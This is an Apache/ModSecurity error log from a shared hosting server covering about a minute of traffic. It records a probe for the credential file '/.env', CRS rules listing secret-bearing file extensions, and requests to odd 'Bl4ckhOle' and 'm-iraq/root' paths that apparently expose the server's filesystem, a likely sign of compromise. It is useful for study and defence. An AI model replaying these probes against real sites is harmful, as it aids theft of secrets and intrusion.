[Fri Jul 17 10:12:01.557964 2026] [security2:error] [pid 2065297:tid 2065297] [client 91.72.179.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-global": Permission denied [hostname "monarchdss.com"] [uri "/xmlrpc.php"] [unique_id "almymYQPslXM9Iu5soRsnwAAAAg"]
[Fri Jul 17 10:12:01.557996 2026] [security2:error] [pid 2065297:tid 2065297] [client 91.72.179.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-ip": Permission denied [hostname "monarchdss.com"] [uri "/xmlrpc.php"] [unique_id "almymYQPslXM9Iu5soRsnwAAAAg"]
[Fri Jul 17 10:12:02.746921 2026] [mime:warn] [pid 2070775:tid 2070775] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:03.204256 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:44752] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:12:03.563238 2026] [ssl:error] [pid 2070774:tid 2070774] (70014)End of file found: [client 66.85.158.91:44786] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:12:04.467082 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:44830] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:12:06.035239 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:44940] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:12:07.175114 2026] [security2:error] [pid 2070775:tid 2070775] [client 107.170.53.181:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "almynzWwOpnBOEO3u4hSCwAAAA8"]
[Fri Jul 17 10:12:07.175262 2026] [security2:error] [pid 2070775:tid 2070775] [client 107.170.53.181:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "almynzWwOpnBOEO3u4hSCwAAAA8"]
[Fri Jul 17 10:12:07.175371 2026] [security2:error] [pid 2070775:tid 2070775] [client 107.170.53.181:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "almynzWwOpnBOEO3u4hSCwAAAA8"]
[Fri Jul 17 10:12:07.175629 2026] [security2:error] [pid 2070775:tid 2070775] [client 107.170.53.181:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "almynzWwOpnBOEO3u4hSCwAAAA8"]
[Fri Jul 17 10:12:07.175965 2026] [security2:error] [pid 2070775:tid 2070775] [client 107.170.53.181:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "almynzWwOpnBOEO3u4hSCwAAAA8"]
[Fri Jul 17 10:12:07.819439 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:45118] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:12:09.159261 2026] [security2:error] [pid 2070772:tid 2070772] [client 185.191.171.4:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/lib/sysctl.d/50-coredump.conf"] [unique_id "almyoTdaQZ1lgvSnnieIegAAAAM"]
[Fri Jul 17 10:12:09.159681 2026] [security2:error] [pid 2070772:tid 2070772] [client 185.191.171.4:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/lib/sysctl.d/50-coredump.conf"] [unique_id "almyoTdaQZ1lgvSnnieIegAAAAM"]
[Fri Jul 17 10:12:09.210616 2026] [security2:error] [pid 2070772:tid 2070772] [client 185.191.171.4:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/lib/sysctl.d/50-coredump.conf"] [unique_id "almyoTdaQZ1lgvSnnieIegAAAAM"]
[Fri Jul 17 10:12:09.258875 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:09.349680 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:17.685253 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:37418] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:12:18.763253 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:37456] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:12:19.788666 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:20.507239 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:37506] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:12:23.301851 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:36802] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:12:24.122146 2026] [security2:error] [pid 2068143:tid 2068143] [client 47.82.53.127:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:66/subsystem/tty12/power/control"] [unique_id "almysFmuKRtYY-VAGIVXegAAAAk"]
[Fri Jul 17 10:12:24.122184 2026] [security2:error] [pid 2068143:tid 2068143] [client 47.82.53.127:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:66/subsystem/tty12/power/control"] [unique_id "almysFmuKRtYY-VAGIVXegAAAAk"]
[Fri Jul 17 10:12:24.191905 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:27.677977 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:27.865136 2026] [mime:warn] [pid 2070774:tid 2070774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:29.980201 2026] [core:error] [pid 2068138:tid 2068138] (1)Operation not permitted: [client 47.82.10.73:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/self/net/rt6_stats, referer: http://www.anandaobauae.org/
[Fri Jul 17 10:12:30.080856 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:37094] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:12:30.845587 2026] [mime:warn] [pid 2070772:tid 2070772] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:30.849790 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:30.862000 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:31.325691 2026] [security2:error] [pid 2070774:tid 2070774] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almyt5gSqNK-noXr5RtlgAAAAA4"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:12:31.325738 2026] [security2:error] [pid 2070774:tid 2070774] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almyt5gSqNK-noXr5RtlgAAAAA4"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:12:34.764215 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:35.013868 2026] [core:error] [pid 2063883:tid 2063883] (1)Operation not permitted: [client 136.158.42.49:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/self/net/rt6_stats, referer: http://www.anandaobauae.org/
[Fri Jul 17 10:12:35.882189 2026] [security2:error] [pid 2070772:tid 2070772] [client 216.244.66.243:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.nccp.health.gov.lk"] [uri "/en/commonUnit"] [unique_id "almyuzdaQZ1lgvSnnieIiAAAAAM"]
[Fri Jul 17 10:12:35.882497 2026] [security2:error] [pid 2070772:tid 2070772] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/en/commonUnit"] [unique_id "almyuzdaQZ1lgvSnnieIiAAAAAM"]
[Fri Jul 17 10:12:35.882762 2026] [security2:error] [pid 2070772:tid 2070772] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/en/commonUnit"] [unique_id "almyuzdaQZ1lgvSnnieIiAAAAAM"]
[Fri Jul 17 10:12:36.408760 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:43344] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:12:37.189430 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:43390] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:12:38.156161 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:38.333504 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:39.043529 2026] [ssl:error] [pid 2070774:tid 2070774] (70014)End of file found: [client 66.85.158.91:43484] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:12:42.209296 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:43642] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:12:43.255364 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:43.256648 2026] [security2:error] [pid 2030804:tid 2030804] [client 47.82.14.203:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:2/subsystem/ptmx/subsystem/tty14/"] [unique_id "almyw4e39YUk0SgV8AVHqgAAABE"]
[Fri Jul 17 10:12:43.256697 2026] [security2:error] [pid 2030804:tid 2030804] [client 47.82.14.203:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:2/subsystem/ptmx/subsystem/tty14/"] [unique_id "almyw4e39YUk0SgV8AVHqgAAABE"]
[Fri Jul 17 10:12:45.182113 2026] [mime:warn] [pid 2070774:tid 2070774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:50.794730 2026] [ssl:error] [pid 2068143:tid 2068143] (70014)End of file found: [client 66.85.158.91:44036] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:12:53.677689 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:43366] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:12:56.639343 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:56.696638 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:56.715106 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:56.820229 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:56.919650 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:12:57.366016 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:43704] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:13:07.921552 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:09.342485 2026] [security2:error] [pid 2064883:tid 2064883] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almy3AgUGKrGY1YsJl1vNwAAAAY"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1216&page_105=1861
[Fri Jul 17 10:13:09.342515 2026] [security2:error] [pid 2064883:tid 2064883] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almy3AgUGKrGY1YsJl1vNwAAAAY"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1216&page_105=1861
[Fri Jul 17 10:13:10.822906 2026] [authz_core:error] [pid 2063895:tid 2063895] [client 20.151.7.119:0] AH01630: client denied by server configuration: /home/bostonlanka/public_html/wp-includes/rest-api/error_log
[Fri Jul 17 10:13:11.772509 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:15.401630 2026] [security2:error] [pid 2063436:tid 2063436] [client 216.244.66.243:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.nccp.health.gov.lk"] [uri "/storage/post/pdfs/Counselling_Orange_Brochure_Tamil.pdf"] [unique_id "almy4zM07o9wrUj-Wv1yNgAAABQ"]
[Fri Jul 17 10:13:15.402042 2026] [security2:error] [pid 2063436:tid 2063436] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/storage/post/pdfs/Counselling_Orange_Brochure_Tamil.pdf"] [unique_id "almy4zM07o9wrUj-Wv1yNgAAABQ"]
[Fri Jul 17 10:13:15.402382 2026] [security2:error] [pid 2063436:tid 2063436] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/storage/post/pdfs/Counselling_Orange_Brochure_Tamil.pdf"] [unique_id "almy4zM07o9wrUj-Wv1yNgAAABQ"]
[Fri Jul 17 10:13:16.298150 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:54480] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:13:17.152890 2026] [ssl:error] [pid 2065296:tid 2065296] (70014)End of file found: [client 66.85.158.91:54510] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:13:18.981738 2026] [mime:warn] [pid 2070774:tid 2070774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:19.373233 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:19.443437 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:54638] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:13:19.596504 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:19.809581 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:20.001211 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:20.180964 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:20.375652 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:20.561030 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:20.727458 2026] [proxy_fcgi:error] [pid 2063883:tid 2063883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:20.893828 2026] [proxy_fcgi:error] [pid 2070772:tid 2070772] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:21.070628 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:21.247474 2026] [ssl:error] [pid 2068138:tid 2068138] (70014)End of file found: [client 66.85.158.91:54722] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:13:21.261375 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:21.431848 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:21.585419 2026] [security2:error] [pid 2063889:tid 2063889] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almy6em5CUZD8nfUE72wngAAAAo"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:13:21.585462 2026] [security2:error] [pid 2063889:tid 2063889] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almy6em5CUZD8nfUE72wngAAAAo"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:13:22.255330 2026] [proxy_fcgi:error] [pid 2070772:tid 2070772] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:22.419471 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:22.518069 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.518224 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.519826 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.526522 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.544383 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.244.66.230:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "v-deploy.com"] [uri "/accounting/"] [unique_id "almy6oe39YUk0SgV8AVHygAAABE"]
[Fri Jul 17 10:13:22.545003 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.244.66.230:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "v-deploy.com"] [uri "/accounting/"] [unique_id "almy6oe39YUk0SgV8AVHygAAABE"]
[Fri Jul 17 10:13:22.555884 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
